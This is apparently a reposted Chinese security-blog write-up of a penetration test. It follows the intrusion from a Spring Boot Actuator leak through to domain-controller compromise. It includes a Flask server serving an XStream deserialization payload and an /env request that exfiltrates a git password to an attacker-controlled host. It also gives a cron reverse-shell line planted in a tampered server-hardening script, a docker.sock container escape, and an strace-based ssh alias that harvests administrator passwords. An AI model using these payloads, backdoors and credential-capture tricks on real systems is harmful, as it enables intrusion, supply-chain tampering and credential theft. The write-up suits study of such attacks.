一次曲折的渗透测试之旅

以下文章来源于酒仙桥六号部队 ,作者队员编号008

这是 酒仙桥六号部队 的第 8 篇文章。

全文共计2241个字,预计阅读时长6分钟


1
前言

记述一次"授权测试"、"授权测试"、"授权测试"中对某网站进行测试。 


第一次渗透测试有点紧张,就把这次渗透测试遇到的一些问题,小技巧记录下来做个分享和小结。

PS:渗透过程中的任何敏感信息均已做过脱敏处理。



2
突破

1、首先是对目标进行信息搜集,搜集一些子域名和端口。这里没有什么特殊的手法,就是扫描。扫描到了一个spring boot的信息泄露。



首先尝试访问了下jolokia,trace,dump这些高危的endpoit,提示404 。很多接口都都失效了,只有下面几个接口,env泄露一些信息。

/health
/env
/info


2、然后试了下env配置文件进行xstream反序列化,如果Eureka-Client的版本比较低的,可以有机会直接getshell。


使用flask返回application/xml格式数据:

from flask import Flask, Response
app = Flask(__name__)@app.route('/', defaults={'path': ''})@app.route('/<path:path>', methods = ['GET', 'POST'])def catch_all(path):    xml = """<linked-hash-set>  <jdk.nashorn.internal.objects.NativeString>    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">      <dataHandler>        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">          <is class="javax.crypto.CipherInputStream">            <cipher class="javax.crypto.NullCipher">              <serviceIterator class="javax.imageio.spi.FilterIterator">                <iter class="javax.imageio.spi.FilterIterator">                  <iter class="java.util.Collections$EmptyIterator"/>                  <next class="java.lang.ProcessBuilder">                    <command>                      <string>命令</string>                    </command>                    <redirectErrorStream>false</redirectErrorStream>                  </next>                </iter>                <filter class="javax.imageio.ImageIO$ContainsFilter">                  <method>                    <class>java.lang.ProcessBuilder</class>                    <name>start</name>                    <parameter-types/>                  </method>                  <name>foo</name>                </filter>                <next>foo</next>              </serviceIterator>              <lock/>            </cipher>            <input class="java.lang.ProcessBuilder$NullInputStream"/>            <ibuffer></ibuffer>          </is>        </dataSource>      </dataHandler>    </value>  </jdk.nashorn.internal.objects.NativeString></linked-hash-set>"""    return Response(xml, mimetype='application/xml')


最后由于不知名原因,http请求没有获取到,猜测可能是以下几点原因之一:

a、版本较高

b、依赖包未安装

c、网络原因


3、由于是个测试站点,也没有找到什么敏感信息。准备换下一个网站再深入的时候,发现env中有个打码的git password。



4、通过set spring的

eureka.client.serviceUrl.defaultZone属性,读取打码的password。


将gitpass这个变量,赋值给

eureka.client.serviceUrl.defaultZone属性,然后刷新下应用,在他自动请求我们的恶意地址的时候,便会将gitpass通过401认证的方式传输给我们的恶意地址。


POST /env HTTP/1.1Host: 0.0.0.0(实际ip或host地址)Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 81
eureka.client.serviceUrl.defaultZone=http://${gitPassword}@0.0.0.0:8080


5、refresh后,让app自动获取属性,这样可以把数据发送到我们的服务器上。

 



6、解开base64,获取到git账户密码。

 



3
迂回

1、登录到他们git账户上,看看有没有什么敏感的配置文件。结果发现都是一些内网的测试环境的数据配置文件,没有太大的用处。


2、紧接着去看代码能不能审计出一些漏洞。但由于是测试账号,可见项目不多。


3、再翻到几个有低版本的bugjson,但是外网找不到对应的网站。




4、发现一个oss的链接,oss服务下的一级域名存在通用的编辑器漏洞,可以直接getshell,这里就不再赘述了。主要是这个oss链接,是个加固linux的脚本。



5、下载下来打开看了下,猜测应该是个通用运维部署新的机器的时候的常用脚本。可以通过迂回渗透他的oss服务,通过broken link hijacking 获取他内网一些能出网的服务器的权限。



6、前面发现已经拿下oss服务商的部分权限,查看他的配置文件,发现一台内网主机的sa权限的数据库,连接之后执行xp_cmdshell系统命令。


 


7、然后发现他们很多c段的ip都来请求这个机器的1433数据库,这个数据库应该是个主数据库。

 


8、连上mssql数据库,翻了很久找到了目标的oss上传使用的key。然后上传替换了这个linux加固脚本,并在里面添加了计划任务后门。

echo -e "nn*/1 * * * * /bin/bash -i >& /dev/tcp/IP/PORT 0>&1nn" >> /var/spool/cron/root



4
逃逸

1、一段时间之后,发现获取了一台linux的shell。ifconfig发现存在docker网卡,所以这是一台docker容器。



2、一般来说docker逃逸,会使用下面几种方法:

a、emote api 未授权访问

b、docker.sock挂载到容器内部

c、特权模式

d、runc(CVE-2019-5736)

e、Dirty Cow(CVE-2016-5195)


3、尝试扫了下2375端口,没有发现未授权的端口访问。


4、find / -name docker.sock尝试寻找下挂载的sock文件。


发现了在/var/run目录下的sock文件, docker.sock是Docker deamon监听的Unix socket,能与其通信意味着可以管理docker。

curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json

 


5、当容器访问docker socket时,我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。


若容器A可以访问docker socket,我们便可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,运行并切换至不安全的容器B,最终在容器B中控制宿主机。以读写权限挂载系统核心目录(/root, /var/spool/cron/等)到容器,可以获取到宿主机的权限。



5
内网

1、通过执行计划任务,执行了反弹shell命令,控制了宿主机。查看下宿主机中的 .bash_history文件,发现经常使用这台服务器登录其他服务器。

通过留ssh后门抓取运维常用密码。



2、通过ssh后门,抓运维密码。

alias ssh='strace -o /tmp/sssh.log -e read,write,connect -s2048 ssh'



3、获取到运维密码的规律 A+用户名+@+年份,生成密码列表,爆破3389获取到一台服务器。

 


4、然后就是常规操作,读取密码hash,横向渗透,最终获取域控权限。



5、在内网使用密码、用户名,可以登录大部分内网网站。至此内网沦陷。




6
小结

根据spring框架泄露git账号信息,登录到外网git账户中。由关闭了部分接口,可知做过部分安全措施。然而并没有深入了解这个漏洞。


后面利用blh漏洞getshell获取到内网的权限,最终通过容器逃逸获取服务器权限。容器安全很多厂商还是不够重视,忽略了纵深防御。过分依赖容器、虚拟化本身的安全机制。


本文作者:酒仙桥六号部队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/131981.html

Tags:
评论  (0)
快来写下你的想法吧!

酒仙桥六号部队

文章数:57 积分: 770

提前看好文,搜索-微信公众号:酒仙桥六号部队

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号